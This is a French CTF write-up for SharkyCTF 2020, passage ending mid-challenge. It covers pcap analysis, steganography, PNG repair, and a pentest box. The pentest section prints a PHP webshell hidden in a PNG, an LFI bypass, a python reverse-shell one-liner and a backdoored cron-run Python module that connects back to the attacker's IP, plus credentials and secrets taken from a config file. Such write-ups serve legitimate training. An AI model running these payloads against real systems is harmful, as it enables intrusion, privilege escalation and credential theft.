Write UP SharkyCTF 2020

Quelques WU du sharkyCTF organisé par ENSIBS

Note : Nous avions organisé un CTF pour l'ENI avec certains potes, nous avons donc participé a sharkyCTF avec notre team d'orga + certains stagiaires ENI

Les WU ne sont pas tous disponibles ici, vous pourrez en retrouver une autre partie ici https://linuxtrack.net/


RattataTACACS - NETWORK (195 pts)

Silence is gold. I listen to every move on this network. And I think I got something interesting.
Creator : MrErne / Nofix

Une capture pcap nous est fournit, elle contient principalement du TFTP et du TACACS

tshark -r Chall.pcap
...
17 129.998468 cc:01:05:f8:00:00 → cc:01:05:f8:00:00 LOOP 60 Reply
   18 139.996021 cc:01:05:f8:00:00 → cc:01:05:f8:00:00 LOOP 60 Reply
   19 147.904657  192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [SYN] Seq=0 Win=4128 Len=0 MSS=1460
   20 147.904787 192.168.1.100 → 192.168.1.1  TCP 58 49 → 58544 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
   21 147.915624  192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [ACK] Seq=1 Ack=1 Win=4128 Len=0
   22 147.915816  192.168.1.1 → 192.168.1.100 TACACS+ 94 Q: Authentication
   23 147.915882 192.168.1.100 → 192.168.1.1  TCP 54 49 → 58544 [ACK] Seq=1 Ack=41 Win=64200 Len=0
   24 147.916018 192.168.1.100 → 192.168.1.1  TACACS+ 82 R: Authentication
   25 148.124151  192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [ACK] Seq=41 Ack=29 Win=4100 Len=0
   26 150.006205 cc:01:05:f8:00:00 → cc:01:05:f8:00:00 LOOP 60 Reply
   27 151.529978  192.168.1.1 → 192.168.1.100 TACACS+ 99 Q: Authentication
   28 151.533619 192.168.1.100 → 192.168.1.1  TCP 54 49 → 58544 [ACK] Seq=29 Ack=86 Win=64155 Len=0
   29 151.533635 192.168.1.100 → 192.168.1.1  TACACS+ 72 R: Authentication
   30 151.533638 192.168.1.100 → 192.168.1.1  TCP 54 49 → 58544 [FIN, ACK] Seq=47 Ack=86 Win=64155 Len=0
   31 151.540949  192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [ACK] Seq=86 Ack=48 Win=4082 Len=0
   32 151.541008  192.168.1.1 → 192.168.1.100 TCP 60 58544 → 49 [FIN, PSH, ACK] Seq=86 Ack=48 Win=4082 Len=0
   33 151.541071 192.168.1.100 → 192.168.1.1  TCP 54 49 → 58544 [ACK] Seq=48 Ack=87 Win=64155 Len=0
   34 151.562942  192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [SYN] Seq=0 Win=4128 Len=0 MSS=1460
   35 151.563096 192.168.1.100 → 192.168.1.1  TCP 58 49 → 40292 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
   36 151.573923  192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [ACK] Seq=1 Ack=1 Win=4128 Len=0
   37 151.574099  192.168.1.1 → 192.168.1.100 TACACS+ 113 Q: Authorization
   38 151.574182 192.168.1.100 → 192.168.1.1  TCP 54 49 → 40292 [ACK] Seq=1 Ack=60 Win=64181 Len=0
   39 151.574397 192.168.1.100 → 192.168.1.1  TACACS+ 96 R: Authorization                                                                                                                                                                 
   40 151.574405 192.168.1.100 → 192.168.1.1  TCP 54 49 → 40292 [FIN, ACK] Seq=43 Ack=60 Win=64181 Len=0                                                                                                                                  
   41 151.584906  192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [ACK] Seq=60 Ack=44 Win=4086 Len=0                                                                                                                                        
   42 151.584983  192.168.1.1 → 192.168.1.100 TCP 60 40292 → 49 [FIN, PSH, ACK] Seq=60 Ack=44 Win=4086 Len=0                                                                                                                              
   43 151.585060 192.168.1.100 → 192.168.1.1  TCP 54 49 → 40292 [ACK] Seq=44 Ack=61 Win=64181 Len=0                                                                                                                                       
   44 2120.055451 cc:01:05:f8:00:01 → cc:01:05:f8:00:01 LOOP 60 Reply                                                                                                                                                                     
   45 2121.117875 cc:02:09:b6:00:00 → cc:02:09:b6:00:00 LOOP 60 Reply                                                                                                                                                                     
   46 2130.049937 cc:01:05:f8:00:01 → cc:01:05:f8:00:01 LOOP 60 Reply                                                                                                                                                                     
   47 2131.036962 cc:01:05:f8:00:01 → Broadcast    ARP 60 Gratuitous ARP for 10.1.1.1 (Reply)                                                                                                                                             
   48 2131.036999     10.1.1.1 → 10.1.1.2     TFTP 60 Read Request, File: R1config, Transfer type: octet                                                                                                                                  
   49 2131.048047     10.1.1.2 → 10.1.1.1     TFTP 558 Data Packet, Block: 1                                                                                                                                                              
   50 2131.057194     10.1.1.1 → 10.1.1.2     TFTP 60 Acknowledgement, Block: 1
   51 2131.058132     10.1.1.2 → 10.1.1.1     TFTP 558 Data Packet, Block: 2
   52 2131.067278     10.1.1.1 → 10.1.1.2     TFTP 60 Acknowledgement, Block: 2
...

Via un strings dessus, on obtient les commandes executés en clair (via tftp) et la configuration du TACACS

strings Chall.pcap

....
ip admission max-nodata-conns 3
username cisco password 7 05080F1C2243
ip tcp synwait-time 5
ip ssh time-out 60
ip ssh logging events
ip ssh version 2
interface Loopback0
 ip address 172.16.1.1 255.255.255.255
interface FastEthernet0/0
 ip add
ress 192.168.1.1 255.255.255.0
 duplex auto
 speed auto
interface FastEthernet0/1
 ip address 10.1.1.1 255.255.255.0
 duplex auto
 speed auto
no ip http server
no ip http secure-server
ip forward-protocol nd
ip tacacs source-interface FastEthernet0/0
no cdp log mismatch duplex
tacacs-server host 192.168.1.100 key 7 0325612F2835701E1D5D3F2033
control-plane
line con 0
...

on décrypte la clef chiffrée 0325612F2835701E1D5D3F2033 via http://www.firewall.cx/cisco-technical-knowledgebase/cisco-routers/358-cisco-type7-password-crack.html qui donne en clair AZDNZ1234FED

via Préférences -> TACACS+ en ajoutant la clef le TACACS passe en clair et l'on obtient le flag

Flag : shkCTF{T4c4c5_ch4ll3n63-br0}


PENTEST (1) / (2) - NETWORKS (300pts / 150 pts)

You've found the website of a web designer, you know, the kind of guy that tells you "You can't hack me, and even if you do, what's the point?". It might be a good target to practice your pentesting skills!

There are two flags in this challenge, the first one is located in the home directory of the user, the second one is in the root directory.

Creator: Magnussen

Pour ce challenge, un fichier openvpn nous est fournit, il s'agit d'un serveur/infrastructure à rooter

En se connectant, nous sommes sur un réseau 172.30.0.14/28, un scan de port permet d'identifier la cible

nmap 172.30.0.14/28 -p- -sC -sV

PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:7a:34:83:7e:5a:19:53:ff:b8:5a:69:a8:e9:6c:a8 (RSA)
|   256 ab:89:de:dc:5e:b9:ad:83:1c:58:33:be:12:d2:ca:b5 (ECDSA)
|_  256 f1:fb:b4:76:b0:40:60:e7:29:32:4b:f4:8a:08:8e:21 (ED25519)
80/tcp    open     http         Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Michael's Life
1756/tcp  filtered capfast-lmd
2706/tcp  filtered ncdmirroring
5332/tcp  filtered unknown
6167/tcp  filtered unknown
24967/tcp filtered unknown
26476/tcp filtered unknown
28438/tcp filtered unknown
45998/tcp filtered unknown
49103/tcp filtered unknown
49863/tcp filtered unknown
50178/tcp filtered unknown
57845/tcp filtered unknown
MAC Address: 02:42:BB:EC:A2:27 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Un service web tourne sur l'IP 172.30.0.2, on lance une reconnaissance de l'arborescence

dirb http://172.30.0.2/

-----------------
---- Scanning URL: http://172.30.0.2/ ----
==> DIRECTORY: http://172.30.0.2/admin/                                                                                                                                                                                                  
==> DIRECTORY: http://172.30.0.2/blog/                                                                                                                                                                                                   
==> DIRECTORY: http://172.30.0.2/css/                                                                                                                                                                                                    
==> DIRECTORY: http://172.30.0.2/errors/                                                                                                                                                                                                 
==> DIRECTORY: http://172.30.0.2/img/                                                                                                                                                                                                    
+ http://172.30.0.2/index.html (CODE:200|SIZE:4089)                                                                                                                                                                                      
==> DIRECTORY: http://172.30.0.2/js/                                                                                                                                                                                                     
+ http://172.30.0.2/server-status (CODE:403|SIZE:2382)                                                                                                                                                                                   
---- Entering directory: http://172.30.0.2/admin/ ----
+ http://172.30.0.2/admin/index.php (CODE:200|SIZE:2928)                                                                                                                                                                                 
---- Entering directory: http://172.30.0.2/blog/ ----
==> DIRECTORY: http://172.30.0.2/blog/uploads/                                                                                                                                                                                           
---- Entering directory: http://172.30.0.2/css/ ----
---- Entering directory: http://172.30.0.2/errors/ ----
---- Entering directory: http://172.30.0.2/img/ ----
==> DIRECTORY: http://172.30.0.2/img/blog/                                                                                                                                                                                               
---- Entering directory: http://172.30.0.2/js/ ---- 
---- Entering directory: http://172.30.0.2/blog/uploads/ ----                                                                                                                                                                                       
---- Entering directory: http://172.30.0.2/img/blog/ ----

Le site semble être léger, pas de grosse usine à gaz derrière, on y remarque un lien pointant vers le code source sur github

NOTE : Il y eut un port 3000 ouvert qui exposait le code source via un git en local, celui-ci fut reporté sur https://github.com/Michael-SharkyMaster/website après une maintenance du challenge

En téléchargeant et analysant le code source, on possède désormais l'arborescence

tree website

├── admin
│   ├── forgot.php
│   ├── index.php
│   ├── login.php
│   ├── png_upload.php
│   ├── result.php
│   ├── style.css
│   └── upload.php
├── blog
│   ├── blog_1.html
│   ├── blog_2.html
│   ├── blog_3.html
│   ├── blog_4.html
│   ├── blog_5.html
│   ├── blog_6.html
│   └── uploads
│       ├── 1.png
│       ├── 2.png
│       ├── 3.png
│       ├── 4.png
│       ├── 5.png
│       ├── 6.png
│       └── 7.png
├── blog.html
├── blog.php
├── css
│   ├── bootstrap.min.css
│   ├── font-awesome.min.css
│   ├── magnific-popup.css
│   ├── owl.carousel.min.css
│   ├── slicknav.min.css
│   └── style.css
├── errors
│   ├── 403.html
│   ├── 404.html
│   └── 500.html
├── icon-fonts
│   ├── fontawesome-webfont.eot
│   ├── fontawesome-webfont.svg
│   ├── fontawesome-webfont.woff
│   └── fontawesome-webfont.woff2
├── img
│   ├── blog
│   │   ├── 1.png
│   │   ├── 2.png
│   │   ├── 3.png
│   │   ├── 4.png
│   │   ├── 5.png
│   │   └── 6.png
│   ├── galery
│   │   ├── 1.png
│   │   ├── 2.png
│   │   ├── 3.png
│   │   ├── 4.png
│   │   ├── 5.png
│   │   ├── 6.png
│   │   └── 7.png
│   └── logo.png
├── index.html
└── js
    ├── bootstrap.min.js
    ├── circle-progress.min.js
    ├── instafeed.min.js
    ├── jquery-3.2.1.min.js
    ├── jquery.magnific-popup.min.js
    ├── jquery.slicknav.min.js
    ├── main.js
    ├── masonry.pkgd.min.js
    ├── mixitup.min.js
    └── owl.carousel.min.js

On y remarque également plusieurs vulnérabilités potentielles :

<?php

  if ((isset($_POST['login']) && isset($_POST['password'])) || isset($_POST['secret_question']))
  {
    $result = 'This feature is currently disabled.';
    if (isset($_POST['login']) && isset($_POST['password']))
    {
      if ($_POST['login'] === 'Michael' && $_POST['password'] === str_replace(array("\n", "\r", " "), '', file_get_contents('creds.txt'))) {
        // $_COOKIE['username'] = $_POST['login'];
        // $_COOKIE['password'] = $_POST['password'];
        //
        // $result = "Successfully Login!\n";
      }
      else {
        $result = "Wrong Username/Password\n";
      }
    }
    else {
      if ($_POST['secret_question'] !== 'Badger')
      {
        $result = "Wrong anwser\n";
      }
      else {
        // Todo: Reset password and configure sending email
      }
    }
  }
?>

Le fichier /admin/creds.txt donne visiblement le mot de passe

curl http://172.30.0.2/admin/creds.txt
Badger1992

Malgré l'authentification, aucun menu d'administration n'est disponible, en regardant d'autres fichiers source code, une fonction semble interessante: admin/png_upload.php

<?php
if (isset($_COOKIE['username']) && isset($_COOKIE['password']) && $_COOKIE['username'] == 'Michael' && $_COOKIE['password'] === str_replace(array("\n", "\r", " "), '', file_get_contents('creds.txt'))) {
  $size = array(
    "width" => 32,
    "height" => 32
  );

  $dir = "../blog/uploads/";

  if (isset($_FILES['upload']) && $_FILES['upload']['error'] === 0) {
      $check = getimagesize($_FILES["upload"]["tmp_name"]);

      $file_extension = pathinfo($_FILES["upload"]["name"], PATHINFO_EXTENSION);

      if (!file_exists($_FILES["upload"]["tmp_name"])) {
          $response = array(
              "type" => "error",
              "message" => "Choose image file to upload."
          );
      }
      else if ($file_extension !== "png") {
          $response = array(
              "type" => "error",
              "message" => "Upload valid images. Only PNG and JPEG are allowed."
          );
      }
      else if (($_FILES["upload"]["size"] > 2000000)) {
          $response = array(
              "type" => "error",
              "message" => "Image size exceeds 2MB"
          );
      }
      else if ($check['mime'] !== "image/png")
      {
        $response = array(
            "type" => "error",
            "message" => "Invalid mimetype"
        );
      }
      else {
          $target = imagecreatetruecolor($size['width'], $size['height']);

          imagecopyresampled($target, imagecreatefromstring(file_get_contents($_FILES["upload"]["tmp_name"])), 0, 0, 0, 0, $size['width'], $size['height'], $check[0], $check[1]);

          if (imagepng($target, $dir.basename($_FILES["upload"]["name"]))) {
              $response = array(
                  "type" => "success",
                  "message" => "Image uploaded successfully."
              );
          } else {
              $response = array(
                  "type" => "error",
                  "message" => "Problem in uploading image files."
              );
          }
      }
  }
  else {
    $response = array(
        "type" => "error",
        "message" => "No file provided."
    );
  }

  echo $response['type'].": ".$response['message'];
}
else {
  echo 'Invalid Credentials.';
}
?>

Il est visiblement possible d'uploader des fichiers avec le cookie administrateur

On ajoute les cookie au navigateur pour pouvoir naviguer dans l'appli en tant qu'admin

Puis en accédant à 172.30.0.2/admin/upload.php

Après avoir testé d'uploader plusieurs payloads PHP dans l'espoir d'obtenir un reverse shell, WALOU

  • le .png en fin de fichier est obligatoire
  • Le type mime est contrôlé coté serveur
  • Le null Bytes ne passe pas

Après avoir uploadé un PNG, on constate qu'une réécriture du fichier est faite pour le formater en 32x32, ce qui nous fait penser aux payloads cachés dans les chunk IDAT des fichiers PNG (https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)

Via un script récupéré sur https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload Insecure Files/Picture Metadata, on se forge un PNG malicieux contenant notre webshell

python epxloit_build.py 

[+] Advanced Upload - Shell inside metadatas of a PNG file
 - Creating a payload.png
Done

root@KaliLinux:~/Bureau# strings payload.png 
IHDR
"tEXtshell
<?php system($_GET['c']); ?>
IDATx
IEND

En rééssayant l'upload, IT WORK ! Cependant l'extension étant du PNG le serveur n'interprete pas notre code

Evidemment impossible de l'envoyer en .php, il nous reste une seule option, trouver une LFI

En recherchant sur l'application, on remarque que l'URL http://172.30.0.2/blog.php?article=1 ressemble à une potentielle LFI

Essayons cela

Il y a une vérification et sanitization sur l'entrée ['article'], en analysant le codesource de cette page on constate qu'il y a deux moyen pour inclure des fichiers :

<?php
	if (isset($_GET['article']))
	{
		$file = str_replace('../', '', $_GET['article']);

		if (is_numeric($file))
			$file = 'blog_'.$file.'.html';

		if (strpos($file, 'blog_') !== false && strpos($file, 'html') !== false) {
			include(dirname(__FILE__).'/blog/'.$file);
		}
		else {
			echo 'Invalid Format';
		}
	}
	else
	{
		include(dirname(__FILE__).'/blog.html');
	}
?>

Ce qui veut dire (En gros) :

Si c'est numérique (article=1,2,3,...) le fichier inclut sera blog_$num.html

OU

Si c'est avec des arguments positionnés : blog_ + html

Donc si l'on veut inclure notre PNG malicieux, il doit au moins commencer avec le nommage suivant

chiffre.html

Essayons en re-uploadant notre payload en 6.html.png

OK, il est bien la si on l'inclut avec blog.php?article=uploads/blog_notrefichier

IT WORK ! essayons d'exécuter nos commandes distantes

wget "http://172.30.0.2/blog.php?article=uploads/blog_6.html.png&0=shell_exec" --post-data "1=id"

�PNG
▒
IHDR �▒��       pHYs���+IDATH�c\uid=33(www-data) gid=33(www-data) groups=33(www-data)
X����s^7�����~_�}�'���ɿ_�|�00cٹg��=2��Q0
F�(▒�`��Q0
��

YEAAAAH ! Maintenant, obtenons un reverse shell

wget "http://172.30.0.2/blog.php?article=uploads/blog_6.html.png&0=shell_exec" --post-data "1=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.30.0.14",667));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"

Sur notre machine

root@KaliLinux:~# nc -lvp 666
listening on [any] 666 ...
172.30.0.2: inverse host lookup failed: Unknown host
connect to [172.30.0.14] from (UNKNOWN) [172.30.0.2] 48422
www-data@6d2a51b5a0cc:~$ id
id
www-data=33(www-data) gid=33(www-data)

BINGO, on a un accès shell, pour accéder au flag, le challenge nous précise qu'il faut accéder au /home de l'user

ls -l /home/
total 4
drwxr-x--- 1 git git 4096 May  9 23:16 git

L'utilisateur est git et nous n'avons pas les droits pour accéder à son home, pas le choix il faudra réussir à obtenir l'accès à sa session

En fouillant un peu sur les basique (sudo, cron, SUID, ...) rien, en lisant un peu de doc sur git shell et en cherchant des fichiers en rapport avec git on tome sur /etc/gitea/app.ini

cat /etc/gitea/app.ini 

APP_NAME = Gitea: Git with a cup of tea
RUN_USER = git
RUN_PASSWD = B33r_Bamboo_Michael
RUN_MODE = prod

[oauth2]
JWT_SECRET = oUqiXymhOjxmvtHWNYVilt4QNWMvLGVwDd3V_CnYqsk

[security]
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE1ODY4Nzk4NzZ9.UAB_BOzaC0N3jz_t1prqY_Ipo1neSs7pxqnxnO8f1XA
INSTALL_LOCK   = true
SECRET_KEY     = LJlnrqXYDJEstw7sZbu9R9EQzHisotxe3br8TYwnIsr8qzkWHp1tfOgy8p7lRvR0
....

BINGO ! le mot de passe de git, en se connectant via ssh et en ouvrant le user.txt dans le /home/git

git@6d2a51b5a0cc:~$ cat user.txt 

shkCTF{juSt_h4v3_t0_pr1v3sc_n0w_6bb4369a853e943339aab363e22869cd}

Premier flag ! pour le deuxième il faudra devenir root


Après recherche aucun exploit qui fonctionne selon notre contexte sur le kernel, regardons ce qui tourne sur le serveur

Pour automatiser l'énumération LinEnum.sh a été utile https://github.com/rebootuser/LinEnum

./LinEnum.sh -r report -e /tmp

.....
### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-r--r-- 1 root root  722 Apr  5  2016 /etc/crontab

/etc/cron.d:
total 24
drwxr-xr-x 1 root root 4096 May  9 17:57 .
drwxr-xr-x 1 root root 4096 May  9 17:57 ..
-rw-r--r-- 1 root root  102 Apr  5  2016 .placeholder
-rw-r--r-- 1 root root  204 May  9 17:57 backup
-rw-r--r-- 1 root root  670 Jun 22  2017 php

/etc/cron.daily:
total 32
drwxr-xr-x 1 root root 4096 May  9 16:33 .
drwxr-xr-x 1 root root 4096 May  9 17:57 ..
-rw-r--r-- 1 root root  102 Apr  5  2016 .placeholder
-rwxr-xr-x 1 root root  539 Jun 11  2018 apache2
-rwxr-xr-x 1 root root 1474 May  7  2019 apt-compat
-rwxr-xr-x 1 root root 1597 Nov 26  2015 dpkg
-rwxr-xr-x 1 root root  249 Nov 12  2015 passwd

/etc/cron.hourly:
total 16
drwxr-xr-x 2 root root 4096 May  9 16:32 .
drwxr-xr-x 1 root root 4096 May  9 17:57 ..
-rw-r--r-- 1 root root  102 Apr  5  2016 .placeholder

/etc/cron.monthly:
total 16
drwxr-xr-x 2 root root 4096 May  9 16:32 .
drwxr-xr-x 1 root root 4096 May  9 17:57 ..
-rw-r--r-- 1 root root  102 Apr  5  2016 .placeholder

/etc/cron.weekly:
total 20
drwxr-xr-x 1 root root 4096 May  9 16:32 .
drwxr-xr-x 1 root root 4096 May  9 17:57 ..
-rw-r--r-- 1 root root  102 Apr  5  2016 .placeholder
-rwxr-xr-x 1 root root  210 Jan 27 14:27 fstrim
....

On constate que des jobs cron tournent et sous root, le cron backup attire notre attention

cat /etc/cron.d/backup

SHELL=/bin/bash
* * * * * /usr/bin/python -c "import backup;backup.backup('/var/www/html/blog', '/var/www/html/52e8b95db9d298bd03741e99abe57c8c1ff1fbd80bd94c366a7574baac7b1180/backup.zip').run()" 2>&1
#

Celui-ci lance un script python qui sauvegarde l'appli toute les minutes et ... Surprise la class python utilisé est en écriture pour git

ls -l /etc/python2.7/*
-rw-r--r-- 1 root root    0 May  9 17:33 /etc/python2.7/__init__.py
-rwxrw---- 1 root git   573 May  9 22:07 /etc/python2.7/backup.py
-rw-r----- 1 root root 1230 May  9 22:08 /etc/python2.7/backup.pyc
-rw-r--r-- 1 root root  155 Apr 17 17:42 /etc/python2.7/sitecustomize.py
-rw-r--r-- 1 root root  228 May  9 17:58 /etc/python2.7/sitecustomize.pyc

Si on ajoute un payload python pour obtenir un reverse shell à cette class nous obtiendrons un shell root

import os
import zipfile
import socket #Ajouter
import subprocess #Ajouter

class backup():
    def __init__(self, folder_in, folder_out):
        self.__folder_in = folder_in
        self.__zip_out = folder_out
        self.__zipf = zipfile.ZipFile(self.__zip_out, 'w', zipfile.ZIP_DEFLATED)

    def __zipdir(self, ziph):
        for root, dirs, files in os.walk(self.__folder_in):
            for file in files:
                self.__zipf.write(os.path.join(root, file))

    def run(self):
        self.__zipdir(self.__zipf)
        self.__zipf.close()

####Ajouter
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.30.0.14",667))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Lorsqu'on obtient la connexion :

root@6d2a51b5a0cc:~# cat root.txt 
GG! Hope you liked this challenge, don't hesitate to DM me @_magnussen_ on Twitter to tell me what you thought about it.

shkCTF{w0w_y0u'r3_4_Tru3_h4ck3r_b4c2679666641be61feb6919e83f2777}

Flag : shkCTF{w0w_y0u'r3_4_Tru3_h4ck3r_b4c2679666641be61feb6919e83f2777}

Mention spécial à notre presque TOP 3 sur le podium des solves (FlagOver.beer)


Basic LSB - (Steganography 50 pts)

« I intercepted an image in the communication of 2 sharkies from a shark gang. Those sharks knew I was listening and they hid a message in this image.

Do you think you can do something about it?

Creator: Fratso »

Une image nous est fournit

Bon, ça a l’air assez évident que c’est du LSB.
Je fais appel à notre CyberChef préféré avec l’option Extract LSB.
En jouant avec les valeurs de R-G-B, on tombe rapidement sur un joli texte :

« Well done, you managed to use the classic LSB method. Now you know that there's nothing in the sea this fish would fear. Other fish run from bigger things. That's their instinct. But this fish doesn't run from anything. He doesn't fear. Here is your flag: shkCTF{Y0u_foUnD_m3_thr0ugH_LSB_6a5e99dfacf793e27a} »

FLAG : shkCTF{Y0u_foUnD_m3_thr0ugH_LSB_6a5e99dfacf793e27a}

Challenge & WU fait par FunkyUFO


Romance Down - (Forensics 82pts)

“Whoops. It seems Luffy played with my picture and I'm not able to open it anymore. Please help me. »

Un fichier 7uffy.png nous est donné, mais impossible à ouvrir. Le flag est donc probablement sur l’image, à nous de la réparer !

Quelques vérifications de base pour commencer :

file 7uffy.png 

7uffy.png: PNG image data, 1113 x 885, 8-bit/color RGBA, non-interlaced

Le fichier est bien un PNG, je vérifie si le header est bien le bon :

hd 7uffy.png

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 04 59 00 00 03 75  08 06 00 00 00 a4 54 24  |...Y...u......T$|
00000020  fd 00 00 00 06 62 4b 47  44 00 00 00 00 00 00 f9  |.....bKGD.......|
00000030  43 bb 7f 00 00 00 09 70  48 59 73 00 00 0b 13 00  |C......pHYs.....|
00000040  00 0b 13 01 00 9a 9c 18  00 00 00 07 74 49 4d 45  |............tIME|
....

On a les bonnes valeurs de header, le problème doit être ailleurs.

On continue un peu l’enquête :

pngcheck -v 7uffy.png

File: 7uffy.png (27352 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1113 x 885 image, 32-bit RGB+alpha, non-interlaced
  chunk bKGD at offset 0x00025, length 6
    red = 0x0000, green = 0x0000, blue = 0x0000
  chunk pHYs at offset 0x00037, length 9: 2835x2835 pixels/meter (72 dpi)
  chunk tIME at offset 0x0004c, length 7: 26 Mar 2020 00:45:09 UTC
  chunk iTXt at offset 0x0005f, length 29, keyword: Comment
    uncompressed, no language tag
    no translated keyword, 18 bytes of UTF-8 text
  chunk EASY at offset 0x00088, length 8192:  illegal (unless recently approved) unknown, public chunk
ERRORS DETECTED in 7uffy.png

Après quelques recherches, je vois bien le chunk EASY n’existe pas, il faudra donc probablement le modifier / supprimer.

J’utilise l’outil TweakPNG sur Windows pour voir l’intégralité des chunks et je tombe sur une erreur qui confirme ma pensée :

Une fois ces messages d’erreurs passées, on voit la structure du fichier et tout devient clair :

Il n’y a aucun bloc IDAT dans notre PNG. Ce type de bloc contient les données de l’image et est obligatoire.

Je reprends donc hexeditor et je remplace les 4 occurrences EASY par la valeur hexadécimale :

On vérifie que tout est bien corrigé :

pngcheck 7uffy.png 

OK: 7uffy.png (1113x885, 32-bit RGB+alpha, non-interlaced, 99.3%).

FLAG : shkCTF{7uffy_1s_pr0ud_0f_y0u_0a2a9795f0bdf8d17e4}

Challenge & WU fait par FunkyUFO


Pain in the ass - (Forensics 181 pts)

“It looks like someone dumped our database. Please help us know what has been leaked ...”

Une capture Wireshark nous est fournie.

En examinant les paquets PGSQL, on remarque rapidement des chaînes de caractère familières :

SELECT 0.Z....IQ....SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),2,1) = '3' and '1';.T...<..username...@............h..password...@............h..D...,.....
USER-ALPHA....th3_fl4g_1s_n0t_h3r3D...+..... USER-BETA....h3r3_1s_n0t_th3_fl4gD.../.....
USER-GAMMA....l00k1ng_f0r_34sy_p01ntsD.........
USER-DELTA....3rr0r_b4s3d_1s_s0_34syC...

Evidemment, rien de tout ça ne donne de flag, il va falloir chercher un peu plus.
On remarque 2 choses :

  • Plusieurs requêtes SQL sont faites en testant toutes les lettres/chiffres/caractères spéciaux.
  • Le texte apparaît plusieurs fois.

Je décide donc de noter les caractères des requêtes sous lesquelles notre texte apparaît et j’obtiens :

k3vin shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}

FLAG : shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}

Challenge & WU fait par FunkyUFO


EZDUMP Build ME - Forensic 298 pts

There is a command containing a strange message in the bash history, will you be able to read it ?
This challenge is in 7 steps (1 flag per step), if the flag you found doesn't work it likely belong to another step :-)
You have to build the volatility profile.
Creator: 2phi

Un dump mémoire nous est fournit avec un strings dedans on constate une Centos 7 - 3.10.0-1062

Après avoir install une Centos, on installe le kernel souhaite ( 3.10.0-1062 ) et les outil de build :

#Dans la VM Centos 

wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-devel-3.10.0-1062.el7.x86_64.rpm
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-headers-3.10.0-1062.el7.x86_64.rpm
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-3.10.0-1062.el7.x86_64.rpm
wget https://buildlogs.centos.org/c7.1908.00.x86_64/kernel/20190808101829/3.10.0-1062.el7.x86_64/kernel-tools-3.10.0-1062.el7.x86_64.rpm
yum install *.rpm
yum install epel-release
yum install build-essential dwarfdump zip elfutils-libelf-devel gcc libdwarf-tools-20130207-4.el7.x86_64
git clone https://github.com/volatilityfoundation/volatility.git
cd volatility/
chmod +x vol.py
cd tools/linux/
make
zip Centos7.3.10.1062.zip module.dwarf /boot/System.map-3.10.0-1062.el7.x86_64

On récupère le profil puis on l'installe dans notre dossier volatility

cd /home/monpost/CTF/tools/volatility/volatility/plugins/overlays/linux/
cp -a ~penthium2/Centos7.3.10.1062.zip .

récupération de l'historique de bash :

volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_bash > linux_bash

Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    2622 bash                 2020-05-07 14:56:16 UTC+0000   cd Documents/
    2622 bash                 2020-05-07 14:56:17 UTC+0000   echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" > y0ush0uldr34dth1s.txt
    2622 bash                 2020-05-07 14:56:25 UTC+0000   git clone https://github.com/tw0phi/PythonBackup
    2622 bash                 2020-05-07 14:56:28 UTC+0000   cd PythonBackup/
    2622 bash                 2020-05-07 14:56:33 UTC+0000   unzip PythonBackup.zip 
    2622 bash                 2020-05-07 14:56:37 UTC+0000   python PythonBackup.py 
    2622 bash                 2020-05-07 14:56:40 UTC+0000   sudo python PythonBackup.py 
    2622 bash                 2020-05-07 14:57:05 UTC+0000   cooooooooooooooooooooooooool
    2622 bash                 2020-05-07 15:00:12 UTC+0000   cd
    2622 bash                 2020-05-07 15:00:15 UTC+0000   git clone https://github.com/504ensicsLabs/LiME
    2622 bash                 2020-05-07 15:00:19 UTC+0000   cd LiME/src/
    2622 bash                 2020-05-07 15:00:24 UTC+0000   make
    2622 bash                 2020-05-07 15:00:37 UTC+0000   sudo insmod lime-3.10.0-1062.el7.x86_64.ko "path=/Linux64.mem format=lime"
    2887 bash                 2020-05-07 14:59:42 UTC+0000   vim /etc/rc.local

Un base64, si on le décode

echo "c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=" | base64 -d 
